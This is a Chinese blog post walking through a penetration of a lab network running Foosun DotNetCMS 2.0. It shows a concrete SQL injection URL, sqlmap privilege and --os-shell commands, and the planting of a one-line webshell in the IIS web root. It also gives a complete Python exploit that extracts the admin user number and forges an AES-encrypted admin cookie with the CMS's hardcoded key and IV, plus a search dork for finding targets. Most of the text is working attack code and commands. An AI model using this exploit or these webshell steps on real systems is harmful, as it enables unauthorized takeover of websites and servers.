• 内网漫游-模拟真实环境【一】


    声明:本篇文章测试网络环境为内网搭建靶场测试

    先了解一下网络结构图(结构图为测试后绘制)

    关于10段的FTP因时间关系没有继续进行探测

    信息收集:

    通过NMAP进行端口扫描 发现网站开放了80,443,700,8080端口

    80端口下存在web服务 :Foosun DotNetCMS 2.0  网站为IIS搭建的aspx站  服务器操作系统为win2008

    8080端口下存在路由登录界面

     渗透过程:

    通过网上查找Foosun DotNetCMS 2.0发现该CMS存在SQL注入 后台登录绕过

    SQL注入:

    通过查询发现该CMS存在sql注入 注入点为:

    www.test.com/user/City_ajax.aspx?Cityld=1

    使用sqlmap对注入点进行测试,可以跑处后台用户名及密码,但密码较复杂解不开

    尝试使用sqlmap查询权限,发现权限较高,并且可以反弹shell

    sqlmap查看权限:sqlmap.py -u 网址 --privileges 

    sqlmap反弹shell:sqlmap.py -u 网址 --os-shell

    使用shell 查询一下权限和IP

    发现权限为系统权限可以进行写入操作 

    发现IP为192.168.1.123 说明该网站是搭建在192.168.1.123上,在通过端口转发 转到了192.168.31.55上

    发现有写入权限  进行写入一句话木马,但是写入一句话木马需要知道服务器的绝对路径

    网站为IIS搭建,我们可以尝试猜一下绝对路径

    C:inetpubwwwroot

    D:inetpubwwwroot

    发现可以写入的绝对路径为C:inetpubwwwroot   

    成功写入asp的一句话

    在写aspx的一句话时发现<无法识别,那就需要转译可以使用^ (在一句话里的所有<都需要转译)

    使用菜刀或蚁剑可以成功访问 我们就成功可以读取192.168.1.123的文件了

    后台登录绕过

     通过与sql注入的结合使用可以绕过后台登录

    工具:EditThisCookie   python Crypto模块

    漏洞具体产生原因可以百度一下,这里只介绍测试过程

    通过注入可以获取UserNumber:

    http://192.168.31.55/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin

    将得到的UserNumber进行加密,得到加密串,写入cookie就可以成功登陆。

    但是cookie需要加密,使用下面的脚本进行加密

    使用exp代码如下:

    #coding:utf-8
    import argparse
    import urllib
    import traceback
    import base64
    from Crypto.Cipher import AES
    from binascii import b2a_hex, a2b_hex
    ###############################
    ##search keyword:           ##
    ##inurl:/manage/Login.aspx   ##
    ###############################
    KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
    IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
    def parse_args():
      parser = argparse.ArgumentParser()
      parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
      return parser.parse_args()
    def run(url):
      try:
          usernumber = get_usernumber(url)
          if usernumber is not None:
              encrypt_cookie = generate_cookie(usernumber)
              #写入cookie中
              write_cookie(url, encrypt_cookie)
      except Exception:
          traceback.print_exc()
    def get_usernumber(url):
      fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
      content = urllib.urlopen(fullurl).read()
      index = content.index("<option value="")
      if  index != -1:
          usernumber = content[index+15:]
          usernumber = usernumber[0: content.index(""")+1]
          print "Get usernumber success. Usernumber is :", usernumber
          return usernumber
      else:
          print "Get usernumber fail"
          return None
    def pkcs7padding(data):
      bs = AES.block_size
      padding = bs - len(data) % bs
      padding_text = chr(padding) * padding
      return data + padding_text
    def generate_cookie(usernumber):
      orgstr = "%s,admin,0,1,False"%(usernumber,)
      cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
      ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
      ciphertext = base64.b64encode(ciphertext)
      return ciphertext
    def write_cookie(url, ciphercookie):
      print "Generate Cookie[SITEINFO]:", ciphercookie
      print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
    if __name__ == '__main__':
      args = parse_args()
      try:
          if args.url is not None:
              run(args.url[0])
      except Exception, e:
          print "python Foosun_exp.py -u [url]"

    把exp代码复制,在桌面新建一个Foosun_exp.py脚本文件并把代码粘贴

    在cmd下使用python运行该文件,如果无法运行说明python没有安装Crypto模块

    使用pip 进行安装Crypto模块

    安装命令: pip install pycryptodome

    安装成功后在运行Foosun_exp.py就可以获取到加密Cookie

     用EditThisCookie写入浏览器Cookie,再访问管理主页面链接即可。

    如果pip无法使用的话 有2个原因

    1.没有设置环境变量 在环境变量的path中加入:G:PythonScripts

    2.pip版本低 升级pip

    这样我们就成功登录后台,进入后台后通过修改上传参数,使aspx的文件可以上传,随便找个上传点进行上传一句话 之后使用菜刀连接

     到这里我们已经拿到了IP为192.168.1.123内网服务器,要想进行内网漫游,得获取路由的权限

  • 相关阅读:
    如何设定测试目标
    转载:Robotium之Android控件定位实践和建议(Appium/UIAutomator姊妹篇)
    Jenkins启动时报错:java.net.BindException: Address already in use: bind 解决方法
    [转载]Robotium API 翻译(三)——判断测试结果的方法assert、is、search
    什么样的项目适合开展自动化测试
    Python基础11- 函数之自定义函数
    Python基础10- 函数之内部函数与强制转换
    Android获取APK包名的几种方法
    Python基础9- 字典
    回归测试策略
  • 原文地址:https://www.cnblogs.com/G-Shadow/p/10994017.html
Copyright © 2020-2023  润新知